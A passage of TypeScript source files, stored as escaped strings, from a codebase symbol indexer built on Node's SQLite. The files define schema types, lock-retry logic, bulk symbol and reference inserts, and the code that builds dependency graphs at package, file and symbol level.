string;\n /** Original LSP SymbolKind number if the result was filtered by an LSP kind. */\n lspKind?: number | undefined;\n}\n\n/** Result of a full reindex. */\nexport interface IndexResult {\n filesIndexed: number;\n symbolsIndexed: number;\n langStats: Record<SymbolLang, number>;\n durationMs: number;\n errors: string[];\n /**\n * Present when `runStartupIndex` detected a corrupt/stale index (SQLite\n * constraint failure) and automatically recovered by wiping and rebuilding\n * with `force: true`. The original failure message is preserved here so\n * callers diagnosing intermittent crashes can distinguish a normal rebuild\n * from one triggered by corruption recovery.\n */\n autoRecovered?: { failure: string; rebuiltWithForce: true } | undefined;\n}\n\n// \u2500\u2500\u2500 Cross-reference types \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n/** What kind of reference this is. */\nexport type CallType = 'call' | 'type_ref' | 'inherit' | 'implement' | 'import';\n\n/** A cross-reference between two symbols (who references whom). */\nexport interface Ref {\n id?: number | undefined;\n fromId: number; // symbol that makes the reference\n toName: string; // resolved name of the referenced symbol\n toId?: number | undefined; // resolved target symbol id (filled after index resolution)\n callType: CallType; // kind of reference\n line: number; // source line where the reference occurs\n}\n\n// \u2500\u2500\u2500 CodeMap graph types \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n/** A node in the code-map dependency graph. */\nexport interface GraphNode {\n id: string;\n label: string;\n kind: 'package' | 'file' | 'symbol';\n /** Package name (packages/) or undefined. */\n package?: string | undefined;\n /** File path (relative to project root) or undefined for package-level. */\n file?: string | undefined;\n /** Symbol id when kind === 'symbol'. */\n symbolId?: number | undefined;\n /** Symbol kind when kind === 'symbol'. */\n symbolKind?: SymbolKind | undefined;\n /** Number of symbols contained (for package/file nodes). */\n symbolCount?: number | undefined;\n /** Number of files contained (for package nodes). */\n fileCount?: number | undefined;\n /** Source language when the node represents a file or symbol. */\n lang?: SymbolLang | undefined;\n /** Declaration line when the node represents a symbol. */\n line?: number | undefined;\n /** Indexed declaration signature when the node represents a symbol. */\n signature?: string | undefined;\n /** Indexed declaration scope when the node represents a symbol. */\n scope?: string | undefined;\n /** True when this is a direct relation outside the current drill-down scope. */\n external?: boolean | undefined;\n}\n\n/** A directed edge: source references / depends-on target. */\nexport interface GraphEdge {\n source: string;\n target: string;\n /** Number of refs contributing to this edge (weight). */\n weight: number;\n /** Dominant ref type: 'call', 'import', 'type_ref', etc. */\n refType: CallType;\n}\n\n/** Complete graph response. */\nexport interface CodeMapGraph {\n nodes: GraphNode[];\n edges: GraphEdge[];\n}\n\n// \u2500\u2500\u2500 Schema version \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n// v2: added the symbols_fts FTS5 table (ranked search moved into SQLite).\n// v3: parser/search format update (navigable TS declarations, valid ref owners,\n// acronym/digit token splitting). Derived data must be rebuilt.\n// A version mismatch on open drops & rebuilds the index (it is derived data).\n// Non-structural CodeMap relation migrations use `relation_graph_version`\n// metadata so older running processes sharing the DB cannot downgrade it.\nexport const SCHEMA_VERSION = 3;\n", "import { createRequire } from 'node:module';\nimport type { DatabaseSync } from 'node:sqlite';\nimport { toErrorMessage } from '@wrongstack/core/utils';\nimport { LockError } from './circuit-breaker.js';\n\nlet warningSilenced = false;\n\n/**\n * Swallow the one-time `ExperimentalWarning: SQLite ...` Node prints the first\n * time `node:sqlite` loads. Patched only once, and only filters that specific\n * warning \u2014 every other warning passes through untouched.\n */\nfunction silenceSqliteExperimentalWarning(): void {\n if (warningSilenced) return;\n warningSilenced = true;\n const original = process.emitWarning.bind(process);\n process.emitWarning = ((warning: unknown, ...rest: unknown[]): void => {\n const msg = typeof warning === 'string' ? warning : ((warning as Error)?.message ?? '');\n const name =\n typeof warning === 'string' ? String(rest[0] ?? '') : ((warning as Error)?.name ?? '');\n if (/sqlite/i.test(msg) && /experimental/i.test(`${name} ${msg}`)) return;\n (original as (w: unknown, ...r: unknown[]) => void)(warning, ...rest);\n }) as typeof process.emitWarning;\n}\n\nlet DatabaseSyncCtor: typeof DatabaseSync | undefined;\n\n/**\n * Load `node:sqlite`'s `DatabaseSync` lazily. Keeping this off writer.ts top\n * level lets codebase-index tools register at CLI boot without eagerly loading\n * SQLite. Runtimes without `node:sqlite` fail only when the index is used.\n */\nexport function loadDatabaseSync(): typeof DatabaseSync {\n if (DatabaseSyncCtor) return DatabaseSyncCtor;\n silenceSqliteExperimentalWarning();\n try {\n const req = createRequire(import.meta.url);\n DatabaseSyncCtor = (req('node:sqlite') as typeof import('node:sqlite')).DatabaseSync;\n } catch (err) {\n throw new Error(\n \"The codebase index needs Node's built-in SQLite (node:sqlite), available since Node 22.5. \" +\n `This runtime doesn't provide it: ${toErrorMessage(err)}`,\n );\n }\n return DatabaseSyncCtor;\n}\n\n/** Maximum retry attempts for a lock-conflict error. */\nconst MAX_LOCK_RETRIES = 3;\n/** Base delay (ms) before the first retry after a lock error. */\nconst LOCK_RETRY_BASE_DELAY_MS = 50;\n/** Cap on the per-retry delay so we never sleep for more than this. */\nconst LOCK_RETRY_MAX_DELAY_MS = 500;\n\nfunction isLockError(err: unknown): boolean {\n if (!(err instanceof Error)) return false;\n const e = err as { code?: unknown; sqliteCode?: unknown };\n const code = e.code ?? e.sqliteCode;\n if (typeof code === 'string' && /SQLITE_(BUSY|LOCKED)/.test(code)) return true;\n if (typeof code === 'number' && (code === 5 || code === 6)) return true;\n return /SQLITE_(BUSY|LOCKED)/.test(err.message);\n}\n\nfunction sleepSync(ms: number): void {\n try {\n const sab = new SharedArrayBuffer(4);\n const view = new Int32Array(sab);\n Atomics.wait(view, 0, 0, ms);\n } catch {\n // busy_timeout already handled the bulk wait; retry immediately if\n // Atomics.wait is unavailable in this runtime.\n }\n}\n\nexport function runSqliteWithRetry<T>(fn: () => T): T {\n let lastError: unknown;\n for (let attempt = 0; attempt <= MAX_LOCK_RETRIES; attempt++) {\n try {\n return fn();\n } catch (err) {\n lastError = err;\n if (!isLockError(err)) throw err;\n if (attempt === MAX_LOCK_RETRIES) {\n const msg = lastError instanceof Error ? lastError.message : String(lastError);\n throw new LockError(`SQLite lock conflict after ${MAX_LOCK_RETRIES} retries: ${msg}`);\n }\n const delay = Math.min(LOCK_RETRY_BASE_DELAY_MS * 2 ** attempt, LOCK_RETRY_MAX_DELAY_MS);\n sleepSync(delay);\n }\n }\n throw lastError;\n}\n", "import * as fs from 'node:fs';\nimport * as path from 'node:path';\nimport type { DatabaseSync } from 'node:sqlite';\nimport type { FileMeta, IndexStats, SymbolKind, SymbolLang } from './schema.js';\nimport { SCHEMA_VERSION } from './schema.js';\n\nconst DB_FILE = 'index.db';\n\ntype Statement = ReturnType<DatabaseSync['prepare']>;\ntype PrepareStatement = (sql: string) => Statement;\n\nexport function getAllIndexableWithStatement(\n stmt: PrepareStatement,\n): Array<{ id: number; text: string }> {\n return (\n stmt('SELECT id, text FROM symbols').all() as { id: number; text: string }[]\n ).map(({ id, text }) => ({ id, text }));\n}\n\nexport function getMaxSymbolIdWithStatement(stmt: PrepareStatement): number {\n const rows = stmt('SELECT MAX(id) AS m FROM symbols').all() as {\n m: number | null;\n }[];\n return rows[0]?.m ?? 0;\n}\n\nexport function getStatsWithStatement(stmt: PrepareStatement, indexDir: string): IndexStats {\n const lastRows = stmt(\"SELECT value FROM metadata WHERE key = 'last_indexed'\").all() as {\n value: string;\n }[];\n const totalRows = stmt('SELECT COUNT(*) FROM symbols').all() as { 'COUNT(*)': number }[];\n const fileRows = stmt('SELECT COUNT(*) FROM files').all() as { 'COUNT(*)': number }[];\n const langRows = stmt('SELECT lang, COUNT(*) FROM symbols GROUP BY lang').all() as Array<{\n lang: string;\n 'COUNT(*)': number;\n }>;\n const kindRows = stmt('SELECT kind, COUNT(*) FROM symbols GROUP BY kind').all() as Array<{\n kind: string;\n 'COUNT(*)': number;\n }>;\n\n const byLang = {} as Record<SymbolLang, number>;\n for (const row of langRows) byLang[row.lang as SymbolLang] = Number(row['COUNT(*)']);\n\n const byKind = {} as Record<SymbolKind, number>;\n for (const row of kindRows) byKind[row.kind as SymbolKind] = Number(row['COUNT(*)']);\n\n return {\n totalSymbols: totalRows[0] ? Number(totalRows[0]['COUNT(*)']) : 0,\n totalFiles: fileRows[0] ? Number(fileRows[0]['COUNT(*)']) : 0,\n byLang,\n byKind,\n indexPath: indexDir,\n lastIndexed: lastRows.length ? Number(lastRows[0]?.value) : null,\n sizeBytes: getIndexDbSizeBytes(indexDir),\n version: SCHEMA_VERSION,\n };\n}\n\nexport function getMetadataWithStatement(\n stmt: PrepareStatement,\n key: string,\n): string | undefined {\n const rows = stmt('SELECT value FROM metadata WHERE key = ?').all(key) as {\n value: string;\n }[];\n return rows[0]?.value;\n}\n\nexport function getFileMetaWithStatement(\n stmt: PrepareStatement,\n file: string,\n): FileMeta | null {\n const rows = stmt(\n 'SELECT file, lang, mtime_ms, symbol_count, last_indexed FROM files WHERE file = ?',\n ).all(file) as Array<{\n file: string;\n lang: string;\n mtime_ms: number;\n symbol_count: number;\n last_indexed: number;\n }>;\n const r = rows[0];\n if (!r) return null;\n return {\n file: r.file,\n lang: r.lang as SymbolLang,\n mtimeMs: r.mtime_ms,\n symbolCount: r.symbol_count,\n lastIndexed: r.last_indexed,\n };\n}\n\nexport function getAllFileMetasWithStatement(stmt: PrepareStatement): FileMeta[] {\n return (\n stmt('SELECT file, lang, mtime_ms, symbol_count, last_indexed FROM files').all() as Array<{\n file: string;\n lang: string;\n mtime_ms: number;\n symbol_count: number;\n last_indexed: number;\n }>\n ).map((r) => ({\n file: r.file,\n lang: r.lang as SymbolLang,\n mtimeMs: r.mtime_ms,\n symbolCount: r.symbol_count,\n lastIndexed: r.last_indexed,\n }));\n}\n\nexport function getIndexDbSizeBytes(indexDir: string): number {\n try {\n return fs.statSync(path.join(indexDir, DB_FILE)).size;\n } catch {\n return 0;\n }\n}\n", "import type { DatabaseSync } from 'node:sqlite';\nimport type { Ref } from './schema.js';\n\ntype Statement = ReturnType<DatabaseSync['prepare']>;\ntype PrepareStatement = (sql: string) => Statement;\n\nexport interface BulkSymbolRow {\n id: number;\n lang: string;\n kind: string;\n name: string;\n file: string;\n line: number;\n col: number;\n signature: string;\n docComment: string;\n scope: string;\n text: string;\n}\n\nexport function bulkInsertSymbolsWithStatement(\n stmt: PrepareStatement,\n maxSqlVars: number,\n rows: BulkSymbolRow[],\n): void {\n if (rows.length === 0) return;\n const chunkSize = Math.max(1, Math.floor(maxSqlVars / 12));\n for (let i = 0; i < rows.length; i += chunkSize) {\n const chunk = rows.slice(i, i + chunkSize);\n const placeholders = chunk.map(() => '(?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)').join(', ');\n const insert = stmt(\n `INSERT INTO symbols(id, lang, kind, name, file, line, col, signature, doc_comment, scope, text, file_fk)\n VALUES ${placeholders}`,\n );\n const binds: (string | number)[] = [];\n for (const r of chunk) {\n binds.push(\n r.id,\n r.lang,\n r.kind,\n r.name,\n r.file,\n r.line,\n r.col,\n r.signature,\n r.docComment,\n r.scope,\n r.text,\n r.file,\n );\n }\n insert.run(...binds);\n }\n}\n\nexport function bulkInsertFtsWithStatement(\n stmt: PrepareStatement,\n maxSqlVars: number,\n ftsAvailable: boolean,\n rows: Array<{ id: number; text: string }>,\n): void {\n if (!ftsAvailable || rows.length === 0) return;\n const chunkSize = Math.max(1, Math.floor(maxSqlVars / 2));\n for (let i = 0; i < rows.length; i += chunkSize) {\n const chunk = rows.slice(i, i + chunkSize);\n const placeholders = chunk.map(() => '(?, ?)').join(', ');\n const insert = stmt(`INSERT INTO symbols_fts(rowid, text) VALUES ${placeholders}`);\n const binds: (string | number)[] = [];\n for (const r of chunk) binds.push(r.id, r.text);\n insert.run(...binds);\n }\n}\n\nexport function bulkInsertRefsWithStatement(\n stmt: PrepareStatement,\n maxSqlVars: number,\n refs: Ref[],\n): void {\n if (refs.length === 0) return;\n const chunkSize = Math.max(1, Math.floor(maxSqlVars / 5));\n for (let i = 0; i < refs.length; i += chunkSize) {\n const chunk = refs.slice(i, i + chunkSize);\n const placeholders = chunk.map(() => '(?, ?, ?, ?, ?)').join(', ');\n const insert = stmt(\n `INSERT INTO refs(from_id, to_name, to_id, call_type, line) VALUES ${placeholders}`,\n );\n const binds: (string | number | null)[] = [];\n for (const ref of chunk) {\n binds.push(ref.fromId, ref.toName, ref.toId ?? null, ref.callType, ref.line);\n }\n insert.run(...binds);\n }\n}\n", "import * as path from 'node:path';\nimport type { CallType, GraphEdge, GraphNode, SymbolKind, SymbolLang } from './schema.js';\n\n/**\n * Derive a monorepo package name from an absolute file path.\n * Handles both `packages/<name>/...` and `apps/<name>/...` layouts.\n */\nexport function derivePackage(filePath: string): string | undefined {\n const f = filePath.replace(/\\\\/g, '/');\n const pkgsIdx = f.indexOf('/packages/');\n if (pkgsIdx !== -1) {\n const rest = f.slice(pkgsIdx + '/packages/'.length);\n const seg = rest.split('/')[0];\n return seg ? `@wrongstack/${seg}` : undefined;\n }\n const appsIdx = f.indexOf('/apps/');\n if (appsIdx !== -1) {\n const rest = f.slice(appsIdx + '/apps/'.length);\n const seg = rest.split('/')[0];\n return seg ? `app:${seg}` : undefined;\n }\n return undefined;\n}\n\nexport function packageFromImport(moduleName: string): string | undefined {\n if (!moduleName.startsWith('@wrongstack/')) return undefined;\n const parts = moduleName.split('/');\n return parts[1] ? `@wrongstack/${parts[1]}` : undefined;\n}\n\nexport function buildPackageGraphNodes(\n fileCounts: Array<{ file: string; n: number }>,\n files: Array<{ file: string }>,\n): { pkgNodes: Map<string, GraphNode>; fileToPkg: Map<string, string> } {\n const pkgNodes = new Map<string, GraphNode>();\n const fileToPkg = new Map<string, string>();\n\n for (const { file, n } of fileCounts) {\n const pkg = derivePackage(file) ?? '(root)';\n fileToPkg.set(file, pkg);\n const node = pkgNodes.get(pkg);\n if (node) {\n node.symbolCount = (node.symbolCount ?? 0) + n;\n } else {\n pkgNodes.set(pkg, {\n id: `pkg:${pkg}`,\n label: pkg,\n kind: 'package',\n package: pkg,\n symbolCount: n,\n fileCount: 0,\n });\n }\n }\n\n for (const { file } of files) {\n const pkg = derivePackage(file) ?? '(root)';\n fileToPkg.set(file, pkg);\n const node = pkgNodes.get(pkg);\n if (node) {\n node.fileCount = (node.fileCount ?? 0) + 1;\n } else {\n pkgNodes.set(pkg, {\n id: `pkg:${pkg}`,\n label: pkg,\n kind: 'package',\n package: pkg,\n symbolCount: 0,\n fileCount: 1,\n });\n }\n }\n\n return { pkgNodes, fileToPkg };\n}\n\nexport type WriterFileGraphSymbolRow = {\n file: string;\n id: number;\n name: string;\n kind: string;\n lang: string;\n line: number;\n};\n\nexport function buildFileGraphNodeState(\n pkgSyms: WriterFileGraphSymbolRow[],\n localFiles: Set<string>,\n): {\n fileNodes: Map<string, GraphNode>;\n symToFile: Map<number, string>;\n fileStats: Map<string, { count: number; lang: SymbolLang }>;\n ensureFileNode: (file: string) => void;\n} {\n const fileNodes = new Map<string, GraphNode>();\n const symToFile = new Map<number, string>();\n const fileStats = new Map<string, { count: number; lang: SymbolLang }>();\n for (const s of pkgSyms) {\n symToFile.set(s.id, s.file);\n const current = fileStats.get(s.file);\n fileStats.set(s.file, {\n count: (current?.count ?? 0) + 1,\n lang: (current?.lang ?? s.lang) as SymbolLang,\n });\n }\n\n const ensureFileNode = (file: string): void => {\n if (fileNodes.has(file)) return;\n const stats = fileStats.get(file);\n fileNodes.set(file, {\n id: `file:${file}`,\n label: file.replace(/\\\\/g, '/').split('/').pop() ?? file,\n kind: 'file',\n package: derivePackage(file) ?? '(root)',\n file,\n symbolCount: stats?.count ?? 0,\n lang: stats?.lang,\n external: !localFiles.has(file),\n });\n };\n for (const file of localFiles) {\n ensureFileNode(file);\n }\n return { fileNodes, symToFile, fileStats, ensureFileNode };\n}\n\nexport type WriterSymbolGraphRow = {\n id: number;\n name: string;\n kind: string;\n lang: string;\n file: string;\n line: number;\n signature: string;\n scope: string;\n};\n\nexport function buildSymbolGraphNodes(\n symById: Map<number, WriterSymbolGraphRow>,\n relatedIds: Set<number>,\n fileFilter: string,\n): GraphNode[] {\n return [...relatedIds]\n .map((id) => symById.get(id))\n .filter((symbol): symbol is WriterSymbolGraphRow => symbol !== undefined)\n .sort((a, b) => {\n const aExternal = a.file === fileFilter ? 0 : 1;\n const bExternal = b.file === fileFilter ? 0 : 1;\n return aExternal - bExternal || a.file.localeCompare(b.file) || a.line - b.line || a.id - b.id;\n })\n .map((s) => ({\n id: `sym:${s.id}`,\n label: s.name,\n kind: 'symbol',\n symbolId: s.id,\n symbolKind: s.kind as SymbolKind,\n file: s.file,\n package: derivePackage(s.file) ?? '(root)',\n lang: s.lang as SymbolLang,\n line: s.line,\n signature: s.signature,\n scope: s.scope,\n external: s.file !== fileFilter,\n }));\n}\n\nexport function resolveRelativeImport(\n fromFile: string,\n moduleName: string,\n indexedFiles: Set<string>,\n): string | undefined {\n if (!moduleName.startsWith('.')) return undefined;\n const normalizedFrom = fromFile.replace(/\\\\/g, '/');\n const absolute = path.posix.normalize(\n path.posix.join(path.posix.dirname(normalizedFrom), moduleName),\n );\n const extension = path.posix.extname(absolute);\n const base = extension ? absolute.slice(0, -extension.length) : absolute;\n const candidates = [\n absolute,\n ...['.ts', '.tsx', '.js', '.jsx', '.mts', '.cts'].map((ext) => `${base}${ext}`),\n ...['.ts', '.tsx', '.js', '.jsx'].map((ext) => path.posix.join(absolute, `index${ext}`)),\n ...['.ts', '.tsx', '.js', '.jsx'].map((ext) => path.posix.join(base, `index${ext}`)),\n ];\n const indexedByPortablePath = new Map(\n [...indexedFiles].map((file) => [file.replace(/\\\\/g, '/').toLocaleLowerCase(), file]),\n );\n for (const candidate of candidates) {\n const indexed = indexedByPortablePath.get(candidate.toLocaleLowerCase());\n if (indexed) return indexed;\n }\n return undefined;\n}\n\nexport type WeightedEdgeAccumulator = {\n weight: number;\n types: Map<string, number>;\n};\n\nexport function addWeightedEdge(\n edgeMap: Map<string, WeightedEdgeAccumulator>,\n source: string | number,\n target: string | number,\n callType: string,\n weight: number,\n): void {\n const key = `${source}\\u0000${target}`;\n let edge = edgeMap.get(key);\n if (!edge) {\n edge = { weight: 0, types: new Map() };\n edgeMap.set(key, edge);\n }\n edge.weight += weight;\n edge.types.set(callType, (edge.types.get(callType) ?? 0) + weight);\n}\n\nexport function materializeWeightedEdges(\n edgeMap: Map<string, WeightedEdgeAccumulator>,\n idPrefix: 'pkg' | 'file' | 'sym',\n): GraphEdge[] {\n const edges: GraphEdge[] = [];\n for (const [key, edge] of edgeMap) {\n const [source, target] = key.split('\\u0000');\n let bestType = 'call';\n let bestCount = 0;\n for (const [type, count] of edge.types) {\n if (count > bestCount) {\n bestType = type;\n bestCount = count;\n }\n }\n edges.push({\n source: `${idPrefix}:${source}`,\n target: `${idPrefix}:${target}`,\n weight: edge.weight,\n refType: bestType as CallType,\n });\n }\n return edges;\n}\n", "import type { Ref } from './schema.js';\n\nexport type WriterRefRow = {\n id: number;\n from_id: number;\n to_name: string;\n to_id: number | null;\n call_type: string;\n line: number;\n};\n\nexport function mapWriterRefRow(row: WriterRefRow): Ref {\n return {\n id: row.id,\n fromId: row.from_id,\n toName: row.to_name,\n toId: row.to_id ?? undefined,\n callType: row.call_type as Ref['callType'],\n line: row.line,\n };\n}\n", "import type { DatabaseSync } from 'node:sqlite';\nimport type { CodeMapGraph, Ref, SymbolLang } from './schema.js';\nimport {\n addWeightedEdge,\n buildFileGraphNodeState,\n buildPackageGraphNodes,\n buildSymbolGraphNodes,\n derivePackage,\n materializeWeightedEdges,\n packageFromImport,\n resolveRelativeImport,\n type WeightedEdgeAccumulator,\n type WriterFileGraphSymbolRow,\n type WriterSymbolGraphRow,\n} from './writer-graph-helpers.js';\nimport { mapWriterRefRow, type WriterRefRow } from './writer-ref-mapper.js';\n\ntype Statement = ReturnType<DatabaseSync['prepare']>;\ntype PrepareStatement = (sql: string) => Statement;\n\nexport function findRefsToWithStatement(stmt: PrepareStatement, symbolId: number): Ref[] {\n return (\n stmt(\n 'SELECT id, from_id, to_name, to_id, call_type, line FROM refs WHERE to_id = ? OR to_name = (SELECT name FROM symbols WHERE id = ?)',\n ).all(symbolId, symbolId) as WriterRefRow[]\n ).map(mapWriterRefRow);\n}\n\nexport function findRefsFromWithStatement(stmt: PrepareStatement, symbolId: number): Ref[] {\n return (\n stmt('SELECT id, from_id, to_name, to_id, call_type, line FROM refs WHERE from_id = ?').all(\n symbolId,\n ) as WriterRefRow[]\n ).map(mapWriterRefRow);\n}\n\nexport function getPackageGraphWithStatement(stmt: PrepareStatement): CodeMapGraph {\n const fileCounts = stmt('SELECT file, COUNT(*) AS n FROM symbols GROUP BY file').all() as Array<{\n file: string;\n n: number;\n }>;\n\n const files = stmt('SELECT DISTINCT file FROM files').all() as { file: string }[];\n const { pkgNodes, fileToPkg } = buildPackageGraphNodes(fileCounts, files);\n\n const refRows = stmt(\n `SELECT r.call_type, sf.file AS from_file, st.file AS to_file, COUNT(*) AS n\n FROM refs r\n JOIN symbols sf ON sf.id = r.from_id\n JOIN symbols st ON st.id = r.to_id\n WHERE r.to_id IS NOT NULL AND r.call_type != 'import'\n GROUP BY r.call_type, sf.file, st.file`,\n ).all() as Array<{ call_type: string; from_file: string; to_file: string; n: number }>;\n\n const edgeMap = new Map<string, WeightedEdgeAccumulator>();\n for (const r of refRows) {\n const fromPkg = fileToPkg.get(r.from_file) ?? derivePackage(r.from_file) ?? '(root)';\n const toPkg = fileToPkg.get(r.to_file) ?? derivePackage(r.to_file) ?? '(root)';\n if (fromPkg === toPkg) continue;\n const n = Number(r.n) || 0;\n addWeightedEdge(edgeMap, fromPkg, toPkg, r.call_type, n);\n }\n\n const importRows = stmt(\n `SELECT r.to_name, s.file AS from_file, COUNT(*) AS n\n FROM refs r\n JOIN symbols s ON s.id = r.from_id\n WHERE r.call_type = 'import'\n GROUP BY r.to_name, s.file`,\n ).all() as Array<{ to_name: string; from_file: string; n: number }>;\n for (const r of importRows) {\n const fromPkg = fileToPkg.get(r.from_file) ?? derivePackage(r.from_file) ?? '(root)';\n const toPkg = packageFromImport(r.to_name);\n if (!fromPkg || !toPkg || fromPkg === toPkg || !pkgNodes.has(toPkg)) continue;\n const n = Number(r.n) || 0;\n addWeightedEdge(edgeMap, fromPkg, toPkg, 'import', n);\n }\n\n const edges = materializeWeightedEdges(edgeMap, 'pkg');\n return { nodes: [...pkgNodes.values()], edges };\n}\n\nexport function getFileGraphWithStatement(\n stmt: PrepareStatement,\n packageFilter: string,\n): CodeMapGraph {\n const allFiles = stmt('SELECT DISTINCT file FROM symbols').all() as { file: string }[];\n const pkgFilePaths = allFiles\n .filter((f) => (derivePackage(f.file) ?? '(root)') === packageFilter)\n .map((f) => f.file);\n const localFiles = new Set(pkgFilePaths);\n if (localFiles.size === 0) return { nodes: [], edges: [] };\n\n const filePlaceholders = [...localFiles].map(() => '?').join(',');\n const pkgSyms = stmt(\n `SELECT file, id, name, kind, lang, line FROM symbols WHERE file IN (${filePlaceholders}) ORDER BY id`,\n ).all(...pkgFilePaths) as WriterFileGraphSymbolRow[];\n const { fileNodes, symToFile, fileStats, ensureFileNode } = buildFileGraphNodeState(\n pkgSyms,\n localFiles,\n );\n\n const indexedFiles = new Set(allFiles.map((f) => f.file));\n\n const refRows = stmt(\n `SELECT r.from_id, r.to_id, r.call_type, COUNT(*) AS n\n FROM refs r\n WHERE (r.from_id IN (SELECT id FROM symbols WHERE file IN (${filePlaceholders}))\n OR r.to_id IN (SELECT id FROM symbols WHERE file IN (${filePlaceholders})))\n AND r.to_id IS NOT NULL\n GROUP BY r.from_id, r.to_id, r.call_type`,\n ).all(...pkgFilePaths, ...pkgFilePaths) as {\n from_id: number;\n to_id: number;\n call_type: string;\n n: number;\n }[];\n\n const knownSymIds = new Set(pkgSyms.map((s) => s.id));\n const crossRefIds = new Set<number>();\n for (const r of refRows) {\n if (!knownSymIds.has(r.from_id)) crossRefIds.add(r.from_id);\n if (!knownSymIds.has(r.to_id)) crossRefIds.add(r.to_id);\n }\n if (crossRefIds.size > 0) {\n const crossPlaceholders = [...crossRefIds].map(() => '?').join(',');\n const extras = stmt(`SELECT id, file FROM symbols WHERE id IN (${crossPlaceholders})`).all(\n ...crossRefIds,\n ) as { id: number; file: string }[];\n for (const x of extras) {\n symToFile.set(x.id, x.file);\n if (!fileStats.has(x.file)) {\n fileStats.set(x.file, { count: 0, lang: 'ts' as SymbolLang });\n }\n }\n }\n\n const edgeMap = new Map<string, WeightedEdgeAccumulator>();\n for (const r of refRows) {\n if (r.call_type === 'import') continue;\n const fromFile = symToFile.get(r.from_id);\n const toFile = symToFile.get(r.to_id);\n if (!fromFile || !toFile || fromFile === toFile) continue;\n if (!localFiles.has(fromFile) && !localFiles.has(toFile)) continue;\n ensureFileNode(fromFile);\n ensureFileNode(toFile);\n const n = Number(r.n) || 0;\n addWeightedEdge(edgeMap, fromFile, toFile, r.call_type, n);\n }\n\n const importRows = stmt(\n `SELECT r.from_id, r.to_name, COUNT(*) AS n\n FROM refs r\n WHERE r.call_type = 'import'\n AND r.from_id IN (SELECT id FROM symbols WHERE file IN (${filePlaceholders}))\n GROUP BY r.from_id, r.to_name`,\n ).all(...pkgFilePaths) as { from_id: number; to_name: string; n: number }[];\n for (const r of importRows) {\n const fromFile = symToFile.get(r.from_id);\n if (!fromFile || !localFiles.has(fromFile)) continue;\n const toFile = resolveRelativeImport(fromFile, r.to_name, indexedFiles);\n if (!toFile || fromFile === toFile) continue;\n ensureFileNode(fromFile);\n ensureFileNode(toFile);\n const n = Number(r.n) || 0;\n addWeightedEdge(edgeMap, fromFile, toFile, 'import', n);\n }\n\n const edges = materializeWeightedEdges(edgeMap, 'file');\n return { nodes: [...fileNodes.values()], edges };\n}\n\nexport function getSymbolGraphWithStatement(\n stmt: PrepareStatement,\n fileFilter: string,\n): CodeMapGraph {\n const syms = stmt(\n 'SELECT id, name, kind, lang, file, line, signature, scope FROM symbols WHERE file = ? ORDER BY line, id',\n ).all(fileFilter) as WriterSymbolGraphRow[];\n\n if (syms.length === 0) return { nodes: [], edges: [] };\n\n const symById = new Map(syms.map((symbol) => [symbol.id, symbol]));\n const relatedIds = new Set(syms.map((symbol) => symbol.id));\n\n const refRows = stmt(\n `SELECT from_id, to_id, call_type, COUNT(*) AS n\n FROM (\n SELECT r.from_id, r.to_id, r.to_name, r.call_type, r.line\n FROM refs r\n JOIN symbols s ON s.id = r.from_id\n WHERE s.file = ?\n UNION\n SELECT r.from_id, r.to_id, r.to_name, r.call_type, r.line\n FROM refs r\n JOIN symbols s ON s.id = r.to_id\n WHERE s.file = ?\n )\n WHERE to_id IS NOT NULL\n GROUP BY from_id, to_id, call_type`,\n ).all(fileFilter, fileFilter) as {\n from_id: number;\n to_id: number;\n call_type: string;\n n: number;\n }[];\n\n const edgeMap = new Map<string, WeightedEdgeAccumulator>();\n for (const r of refRows) {\n if (r.to_id == null) continue;\n relatedIds.add(r.from_id);\n relatedIds.add(r.to_id);\n const n = Number(r.n) || 0;\n addWeightedEdge(edgeMap, r.from_id, r.to_id, r.call_type, n);\n }\n const edges = materializeWeightedEdges(edgeMap, 'sym');\n\n const loadedIds = new Set(syms.map((s) => s.id));\n const missingIds = [...relatedIds].filter((id) => !loadedIds.has(id));\n if (missingIds.length > 0) {\n const placeholders = missingIds.map(() => '?').join(',');\n const extras = stmt(\n `SELECT id, name, kind, lang, file, line, signature, scope FROM symbols WHERE id IN (${placeholders})`,\n ).all(...missingIds) as WriterSymbolGraphRow[];\n for (const s of extras) symById.set(s.id, s);\n }\n\n const nodes = buildSymbolGraphNodes(symById, relatedIds, fileFilter);\n return { nodes, edges };\n}\n", "import { resolveWstackPaths } from '@wrongstack/core/utils';\nimport type { Ref, Symbol as IndexSymbol } from './schema.js';\n\nexport function escapeLike(value: string): string {\n return value.replace(/[\\\\%_]/g, (char) => `\\\\${char}`);\n}\n\nexport function assignRefsToSymbols(refs: Ref[], symbols: IndexSymbol[]): Ref[] {\n if (refs.length === 0 || symbols.length === 0) return [];\n const ordered = [...symbols].sort((a, b) => a.line - b.line || a.col - b.col || a.id - b.id);\n const seen = new Set<string>();\n const assigned: Ref[] = [];\n for (const ref of refs) {\n let owner: IndexSymbol | undefined;\n for (const symbol of ordered) {\n if (symbol.line > ref.line) break;\n owner = symbol;\n }\n if (!owner && ref.callType === 'import') owner = ordered[0];\n if (!owner || owner.id <= 0) continue;\n const key = `${owner.id}:${ref.toName}:${ref.callType}`;\n if (seen.has(key)) continue;\n seen.add(key);\n assigned.push({ ...ref, fromId: owner.id });\n }\n return assigned;\n}\n\n/**\n * Resolve the 